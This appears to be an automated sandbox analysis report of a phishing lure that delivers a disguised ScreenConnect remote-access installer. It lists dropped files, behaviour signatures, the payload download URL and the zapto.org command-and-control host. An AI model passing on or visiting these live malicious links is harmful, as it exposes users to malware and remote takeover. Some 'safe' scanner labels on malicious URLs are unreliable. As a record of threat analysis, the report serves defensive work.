unknown Reserved 14->76 62 C:\Users\...\Unconfirmed 905245.crdownload, PE32 14->62 dropped 64 Monthly_eStatement...entSetup.exe (copy), PE32 14->64 dropped 66 79a99374-7c91-4f1c-b843-e190de3d3a98.tmp, PE32 14->66 dropped 28 Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe 4 14->28         started        30 chrome.exe 14->30         started        34 chrome.exe 14->34         started        78 127.0.0.1 unknown unknown 17->78 106 Changes security center settings (notifications, updates, antivirus, firewall) 17->106 36 MpCmdRun.exe 1 17->36         started        file6 signatures7 process8 dnsIp9 38 rundll32.exe 10 19->38         started        108 Contains functionality to hide user accounts 28->108 42 msiexec.exe 6 28->42         started        80 silvervalleyrealestategh.com 170.10.161.77, 443, 49715, 49716 STEADFASTUS United States 30->80 82 electroagrotech.com.ua 88.218.28.52, 443, 49718, 49720 SERVERIUS-ASNL Ukraine 30->82 84 5 other IPs or domains 30->84 70 Chrome Cache Entry: 123, PE32 30->70 dropped 44 conhost.exe 36->44         started        file10 signatures11 process12 file13 46 C:\Users\user\...\ScreenConnect.Windows.dll, PE32 38->46 dropped 48 C:\...\ScreenConnect.InstallerActions.dll, PE32 38->48 dropped 50 C:\Users\user\...\ScreenConnect.Core.dll, PE32 38->50 dropped 54 4 other files (none is malicious) 38->54 dropped 94 Contains functionality to hide user accounts 38->94 52 C:\Users\user\AppData\Local\...\MSICD79.tmp, PE32 42->52 dropped signatures14

                                Screenshots

                                Thumbnails

                                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                                windows-stand

                                Antivirus, Machine Learning and Genetic Malware Detection

                                Initial Sample

                                SourceDetectionScannerLabelLink
                                https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/6354799604_PDF.html0%Avira URL Cloudsafe

                                Dropped Files

                                SourceDetectionScannerLabelLink
                                C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.Client.dll0%ReversingLabs
                                C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.dll0%ReversingLabs
                                C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exe0%ReversingLabs
                                C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.Core.dll0%ReversingLabs
                                C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.Windows.dll0%ReversingLabs
                                C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsAuthenticationPackage.dll0%ReversingLabs
                                C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsBackstageShell.exe0%ReversingLabs
                                C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsClient.exe0%ReversingLabs
                                C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsCredentialProvider.dll0%ReversingLabs
                                C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsFileManager.exe0%ReversingLabs
                                C:\Users\user\AppData\Local\Temp\MSICD79.tmp0%ReversingLabs
                                C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\Microsoft.Deployment.Compression.Cab.dll0%ReversingLabs
                                C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\Microsoft.Deployment.Compression.dll0%ReversingLabs
                                C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll0%ReversingLabs
                                C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\Microsoft.Deployment.WindowsInstaller.dll0%ReversingLabs
                                C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\ScreenConnect.Core.dll0%ReversingLabs
                                C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\ScreenConnect.InstallerActions.dll0%ReversingLabs
                                C:\Users\user\AppData\Local\Temp\MSICD79.tmp-\ScreenConnect.Windows.dll0%ReversingLabs
                                C:\Windows\Installer\MSID692.tmp0%ReversingLabs
                                C:\Windows\Installer\MSID887.tmp0%ReversingLabs

                                Unpacked PE Files

                                ⊘No Antivirus matches

                                Domains

                                ⊘No Antivirus matches

                                URLs

                                SourceDetectionScannerLabelLink
                                https://electroagrotech.com.ua/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.22.10%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/themes/woodmart-child/style.css?ver=7.5.10%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/header-base.min.css?ver=7.5.10%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/menu/onePageMenu.min.js?ver=7.50%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/plugins/elementor/assets/lib/swiper/v8/css/swiper.min.css?0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/uploads/2024/02/ikonka.png0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js?ver=3.1.20%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/menu/menuOffsets.min.js?ver=7.50%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/uploads/2024/02/cropped-fav123-1-192x192.png0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/plugins/elementor/assets/css/frontend-lite.min.css?ver=3.20%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/opt-widget-collapse.min.css?ver=0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/uploads/2024/02/cropped-fav123-1-180x180.png0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/themes/woodmart/css/bootstrap-light.min.css?ver=7.5.10%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/int-elem-base.min.css?ver=7.5.10%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/header-el-base.min.css?ver=7.5.10%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/js/jquery.sumoselect.min.js?ver=3.4.0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-includes/js/jquery/jquery.min.js?ver=3.7.10%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js?v0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/themes/woodmart/js/libs/waypoints.min.js?ver=7.5.10%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/xmlrpc.php0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/css/jquery.mCustomScrollbar.min.css?0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/uploads/elementor/css0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js?ve0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/el-social-icons.min.css?ver=7.5.0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/int-elementor-pro.min.css?ver=7.0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-includes/js/jquery/ui/core.min.js?ver=1.13.20%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.10%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/css/bwg-fonts/fonts.css?ver=0.0.10%Avira URL Cloudsafe
                                https://rjpanelplus.top/Bin/Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe?e=Access&y=Guest&s=77dc3982-78be-4a22-8a61-2b1b5e23e9cc&i=Amazon0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=3.22.00%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/wd-search-form.min.css?ver=7.5.10%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/plugins/chaty/css/chaty-front.min.css?ver=3.2.617242539320%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/opt-scrolltotop.min.css?ver=7.5.0%Avira URL Cloudsafe
                                https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/favicon.ico0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/themes/custom/ssa_core/favicon.ico0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/page-404.min.css?ver=7.5.10%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/uploads/2024/02/cropped-fav123-1-270x270.png0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-includes/js/dist/vendor/regenerator-runtime.min.js?ver=0.14.00%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/js/jquery.mCustomScrollbar.concat.mi0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/kolos-504/0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/wc/woocommerceNotices.min.js?ve0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/uploads/2024/02/cropped-fav123-1-32x32.png0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-includes/css/dist/block-library/style.min.css?ver=6.5.40%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/kolos-244-with-roof/0%Avira URL Cloudsafe
                                http://tmqw21a.zapto.org:8041/0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/global/widgetCollapse.min.js?ve0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/feed/0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/themes/woodmart/images/wood-logo-dark.svg0%Avira URL Cloudsafe
                                https://silvervalleyrealestategh.com/wp-content/uploads/elementor/thumbs/proce.php0%Avira URL Cloudsafe
                                http://tmqw21a.zapto.org:8041/X#0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e60%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.00%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-json/0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/js/tocca.min.js?ver=2.0.90%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=3.20%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/xmlrpc.php?rsd0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/uploads/2024/07/xts-theme_settings_default-1722337697.css?0%Avira URL Cloudsafe
                                http://tmqw21a.zapto.org:8041/:0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/comments/feed/0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/booster/assets/js/global.js?ver=1.0.0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/base.min.css?ver=7.5.10%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/global/scrollTop.min.js?ver=7.50%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/uploads/elementor/css/post-8.css?ver=17192297650%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js0%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/global/scrollBar.min.js?ver=7.50%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/menu/menuSetUp.min.js?ver=7.5.10%Avira URL Cloudsafe
                                https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/booster/assets/css/global.css?ver=1.0%Avira URL Cloudsafe

                                Domains and IPs

                                Contacted Domains

                                NameIPActiveMaliciousAntivirus DetectionReputation
                                www.google.com
                                		142.250.181.68
                                		truefalse
                                  		high
                                  silvervalleyrealestategh.com
                                  		170.10.161.77
                                  		truefalse
                                    		unknown
                                    ci3.googleusercontent.com
                                    		172.217.17.33
                                    		truefalse
                                      		high
                                      rjpanelplus.top
                                      		194.59.31.199
                                      		truefalse
                                        		unknown
                                        s3-r-w.eu-central-1.amazonaws.com
                                        		3.5.139.117
                                        		truefalse
                                          		high
                                          electroagrotech.com.ua
                                          		88.218.28.52
                                          		truefalse
                                            		high
                                            tmqw21a.zapto.org
                                            		unknown
                                            		unknownfalse
                                              		unknown
                                              cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com
                                              		unknown
                                              		unknownfalse
                                                		unknown

                                                Contacted URLs

                                                NameMaliciousAntivirus DetectionReputation
                                                https://ci3.googleusercontent.com/meips/ADKq_NZi8R4m6H8EJruwBzxCqPKVPzWCU6p8FRwtcx3ScqmC0alrzNrsKe32Pl2h3WKXSwL-bd3kecKFfZJddwmVxlPRLfISpCAutfNswBHKsELm687KIoqZs9-Ogbs9nNrClyddA1vzBISt721ohcFF82CuM-_6WGxNRw=s0-d-e1-ftfalse
                                                  		high
                                                  https://electroagrotech.com.ua/wp-content/uploads/elementor/cssfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  https://rjpanelplus.top/Bin/Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe?e=Access&y=Guest&s=77dc3982-78be-4a22-8a61-2b1b5e23e9cc&i=Amazonfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/favicon.icofalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  https://electroagrotech.com.ua/themes/custom/ssa_core/favicon.icofalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  https://silvervalleyrealestategh.com/wp-content/uploads/elementor/thumbs/proce.phpfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/6354799604_PDF.htmlfalse
                                                    		unknown
                                                    https://electroagrotech.com.ua/wp-content/uploads/elementor/css/false
                                                      		unknown

                                                      URLs from Memory and Binaries

                                                      NameSourceMaliciousAntivirus DetectionReputation
                                                      https://electroagrotech.com.ua/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.22.1chromecache_125.2.drfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      https://electroagrotech.com.ua/wp-content/uploads/2024/02/cropped-fav123-1-192x192.pngchromecache_125.2.drfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      https://electroagrotech.com.ua/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js?ver=3.1.2chromecache_125.2.drfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      https://electroagrotech.com.ua/wp-content/themes/woodmart-child/style.css?ver=7.5.1chromecache_125.2.drfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/menu/menuOffsets.min.js?ver=7.5chromecache_125.2.drfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/menu/onePageMenu.min.js?ver=7.5chromecache_125.2.drfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/header-base.min.css?ver=7.5.1chromecache_125.2.drfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      https://dev.ditu.live.com/REST/v1/Routes/svchost.exe, 00000004.00000003.1366521026.000001CC32E67000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://electroagrotech.com.ua/wp-content/plugins/elementor/assets/css/frontend-lite.min.css?ver=3.2chromecache_125.2.drfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://electroagrotech.com.ua/wp-content/uploads/2024/02/ikonka.pngchromecache_125.2.drfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://dev.virtualearth.net/REST/v1/Routes/Walkingsvchost.exe, 00000004.00000003.1366647183.000001CC32E58000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://electroagrotech.com.ua/wp-content/plugins/elementor/assets/lib/swiper/v8/css/swiper.min.css?chromecache_125.2.drfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/header-el-base.min.css?ver=7.5.1chromecache_125.2.drfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/js/jquery.sumoselect.min.js?ver=3.4.chromecache_125.2.drfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          https://electroagrotech.com.ua/wp-content/themes/woodmart/css/bootstrap-light.min.css?ver=7.5.1chromecache_125.2.drfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          https://dev.ditu.live.com/REST/v1/Imagery/Copyright/svchost.exe, 00000004.00000003.1366542903.000001CC32E62000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1366419979.000001CC32E6E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1366751336.000001CC32E43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1366704332.000001CC32E5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1366647183.000001CC32E58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1367504872.000001CC32E72000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/int-elem-base.min.css?ver=7.5.1chromecache_125.2.drfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            https://electroagrotech.com.ua/wp-content/uploads/2024/02/cropped-fav123-1-180x180.pngchromecache_125.2.drfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            https://dev.virtualearth.net/REST/v1/Transit/Schedules/svchost.exe, 00000004.00000002.1367373777.000001CC32E41000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://electroagrotech.com.ua/wp-includes/js/jquery/jquery.min.js?ver=3.7.1chromecache_125.2.drfalse
                                                              • Avira URL Cloud: safe
                                                              		unknown
                                                              https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/opt-widget-collapse.min.css?ver=chromecache_125.2.drfalse
                                                              • Avira URL Cloud: safe
                                                              		unknown
                                                              https://electroagrotech.com.ua/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js?vchromecache_125.2.drfalse
                                                              • Avira URL Cloud: safe
                                                              		unknown
                                                              https://electroagrotech.com.ua/wp-content/themes/woodmart/js/libs/waypoints.min.js?ver=7.5.1chromecache_125.2.drfalse
                                                              • Avira URL Cloud: safe
                                                              		unknown
                                                              https://electroagrotech.com.ua/xmlrpc.phpchromecache_125.2.drfalse
                                                              • Avira URL Cloud: safe
                                                              		unknown
                                                              https://electroagrotech.com.ua/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.chromecache_125.2.drfalse
                                                              • Avira URL Cloud: safe
                                                              		unknown
                                                              https://electroagrotech.com.ua/wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js?vechromecache_125.2.drfalse
                                                              • Avira URL Cloud: safe
                                                              		unknown
                                                              http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameScreenConnect.ClientService.exe, 00000013.00000002.2472473045.00000000025A4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                		high
                                                                http://www.bingmapsportal.comsvchost.exe, 00000004.00000002.1367243796.000001CC32E13000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://dev.virtualearth.net/REST/v1/Imagery/Copyright/svchost.exe, 00000004.00000002.1367466683.000001CC32E65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1366542903.000001CC32E62000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1366704332.000001CC32E5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1366647183.000001CC32E58000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/el-social-icons.min.css?ver=7.5.chromecache_125.2.drfalse
                                                                    • Avira URL Cloud: safe
                                                                    		unknown
                                                                    https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/int-elementor-pro.min.css?ver=7.chromecache_125.2.drfalse
                                                                    • Avira URL Cloud: safe
                                                                    		unknown
                                                                    https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/css/jquery.mCustomScrollbar.min.css?chromecache_125.2.drfalse
                                                                    • Avira URL Cloud: safe
                                                                    		unknown
                                                                    https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=svchost.exe, 00000004.00000003.1366625938.000001CC32E5D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      https://electroagrotech.com.ua/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1chromecache_125.2.drfalse
                                                                      • Avira URL Cloud: safe
                                                                      		unknown
                                                                      https://electroagrotech.com.ua/wp-includes/js/jquery/ui/core.min.js?ver=1.13.2chromecache_125.2.drfalse
                                                                      • Avira URL Cloud: safe
                                                                      		unknown
                                                                      https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/css/bwg-fonts/fonts.css?ver=0.0.1chromecache_125.2.drfalse
                                                                      • Avira URL Cloud: safe
                                                                      		unknown
                                                                      https://electroagrotech.com.ua/wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=3.22.0chromecache_125.2.drfalse
                                                                      • Avira URL Cloud: safe
                                                                      		unknown
                                                                      https://dev.virtualearth.net/REST/v1/Routes/svchost.exe, 00000004.00000003.1366521026.000001CC32E67000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.1367283972.000001CC32E2B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        http://wixtoolset.org/Whttp://wixtoolset.org/telemetry/vrundll32.exe, 00000010.00000003.1565793061.0000000004921000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.1567568317.0000000004823000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.1565793061.0000000004990000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.dll.16.dr, Microsoft.Deployment.Compression.Cab.dll.16.dr, Microsoft.Deployment.WindowsInstaller.dll.16.dr, Microsoft.Deployment.WindowsInstaller.Package.dll.16.drfalse
                                                                          		high
                                                                          https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=svchost.exe, 00000004.00000003.1366751336.000001CC32E43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1366607387.000001CC32E5E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            http://crl.ver)svchost.exe, 00000000.00000002.2472907532.0000025A48E00000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/wd-search-form.min.css?ver=7.5.1chromecache_125.2.drfalse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/opt-scrolltotop.min.css?ver=7.5.chromecache_125.2.drfalse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=svchost.exe, 00000004.00000003.1366727433.000001CC32E49000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://ecn.dev.virtualearth.net/REST/V1/MapControlConfiguration/native/svchost.exe, 00000004.00000003.1366363286.000001CC32E34000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  https://electroagrotech.com.ua/wp-content/plugins/chaty/css/chaty-front.min.css?ver=3.2.61724253932chromecache_125.2.drfalse
                                                                                  • Avira URL Cloud: safe
                                                                                  		unknown
                                                                                  https://dev.virtualearth.net/REST/v1/Locationssvchost.exe, 00000004.00000003.1366647183.000001CC32E58000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/page-404.min.css?ver=7.5.1chromecache_125.2.drfalse
                                                                                    • Avira URL Cloud: safe
                                                                                    		unknown
                                                                                    https://electroagrotech.com.ua/wp-content/uploads/2024/02/cropped-fav123-1-270x270.pngchromecache_125.2.drfalse
                                                                                    • Avira URL Cloud: safe
                                                                                    		unknown
                                                                                    https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/svchost.exe, 00000004.00000002.1367449017.000001CC32E59000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.1366647183.000001CC32E58000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      https://electroagrotech.com.ua/wp-includes/js/dist/vendor/regenerator-runtime.min.js?ver=0.14.0chromecache_125.2.drfalse
                                                                                      • Avira URL Cloud: safe
                                                                                      		unknown
                                                                                      https://electroagrotech.com.ua/kolos-504/chromecache_125.2.drfalse
                                                                                      • Avira URL Cloud: safe
                                                                                      		unknown
                                                                                      https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/js/jquery.mCustomScrollbar.concat.michromecache_125.2.drfalse
                                                                                      • Avira URL Cloud: safe
                                                                                      		unknown
                                                                                      https://electroagrotech.com.ua/wp-content/uploads/2024/02/cropped-fav123-1-32x32.pngchromecache_125.2.drfalse
                                                                                      • Avira URL Cloud: safe
                                                                                      		unknown
                                                                                      https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/wc/woocommerceNotices.min.js?vechromecache_125.2.drfalse
                                                                                      • Avira URL Cloud: safe
                                                                                      		unknown
                                                                                      https://electroagrotech.com.ua/wp-includes/css/dist/block-library/style.min.css?ver=6.5.4chromecache_125.2.drfalse
                                                                                      • Avira URL Cloud: safe
                                                                                      		unknown
                                                                                      https://electroagrotech.com.ua/kolos-244-with-roof/chromecache_125.2.drfalse
                                                                                      • Avira URL Cloud: safe
                                                                                      		unknown
                                                                                      https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/global/widgetCollapse.min.js?vechromecache_125.2.drfalse
                                                                                      • Avira URL Cloud: safe
                                                                                      		unknown
                                                                                      http://tmqw21a.zapto.org:8041/ScreenConnect.ClientService.exe, 00000013.00000002.2499966933.000000000509F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      • Avira URL Cloud: safe
                                                                                      		unknown
                                                                                      https://dynamic.tsvchost.exe, 00000004.00000003.1366791373.000001CC32E31000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        https://g.live.com/odclientsettings/Prod-C:edb.log.0.drfalse
                                                                                          		high
                                                                                          https://dev.virtualearth.net/REST/v1/Routes/Transitsvchost.exe, 00000004.00000003.1366647183.000001CC32E58000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            https://electroagrotech.com.ua/feed/chromecache_125.2.drfalse
                                                                                            • Avira URL Cloud: safe
                                                                                            		unknown
                                                                                            https://electroagrotech.com.ua/wp-content/themes/woodmart/images/wood-logo-dark.svgchromecache_125.2.drfalse
                                                                                            • Avira URL Cloud: safe
                                                                                            		unknown
                                                                                            https://electroagrotech.com.ua/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6chromecache_125.2.drfalse
                                                                                            • Avira URL Cloud: safe
                                                                                            		unknown
                                                                                            http://tmqw21a.zapto.org:8041/X#ScreenConnect.ClientService.exe, 00000013.00000002.2499966933.000000000509F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                            • Avira URL Cloud: safe
                                                                                            		unknown
                                                                                            https://electroagrotech.com.ua/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0chromecache_125.2.drfalse
                                                                                            • Avira URL Cloud: safe
                                                                                            		unknown
                                                                                            https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=svchost.exe, 00000004.00000003.1366542903.000001CC32E62000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/js/tocca.min.js?ver=2.0.9chromecache_125.2.drfalse
                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              https://electroagrotech.com.ua/wp-json/chromecache_125.2.drfalse
                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              https://electroagrotech.com.ua/xmlrpc.php?rsdchromecache_125.2.drfalse
                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              https://electroagrotech.com.ua/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=3.2chromecache_125.2.drfalse
